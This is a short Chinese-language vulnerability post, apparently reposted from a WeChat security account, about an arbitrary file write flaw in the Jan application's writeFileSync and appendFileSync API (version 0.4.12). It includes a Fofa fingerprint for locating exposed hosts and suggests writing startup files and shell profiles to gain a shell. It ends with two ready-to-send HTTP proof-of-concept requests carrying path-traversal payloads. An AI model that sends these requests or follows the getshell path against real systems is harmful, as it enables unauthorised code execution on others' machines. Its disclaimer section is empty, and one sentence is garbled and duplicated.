Jan 任意文件上传漏洞

[漏洞免责声明]

[漏洞描述]

Jan的API接口writeFileSync和appendFileSync未过滤参数，导致存在任意文件上传漏洞。

[受影响的版本]

• 0.4.12 Latest

[搜索语法]

Fofa

• icon_hash="-165268926"

[漏洞原理和复现]

创建任意文件并写入任意内容，例如：

追加写入内容到已经存在的文件：
此外，您还可以利用此漏洞写入定时任务、启动项（例如：目录、目录,,,和文件写入 getshell。此外，您还可以利用此漏洞写入计划任务和启动项来getshell，如：/etc/init.d目录、/etc/rc.d目录、/etc/rc.local文件、~/.bash_profile文件、~/.bash_login文件和~/.profile文件。

[Poc]

writeFileSync

POST /v1/app/writeFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 35
Origin: http://<IP>:<Port>
Connection: close

["/../../../../../tmp/a.txt","abc"]

appendFileSync

POST /v1/app/appendFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close

["file:/../../../../../../tmp/a.txt","bbb  ccc"]

原文始发于微信公众号（Hack All Sec）：Jan 任意文件上传漏洞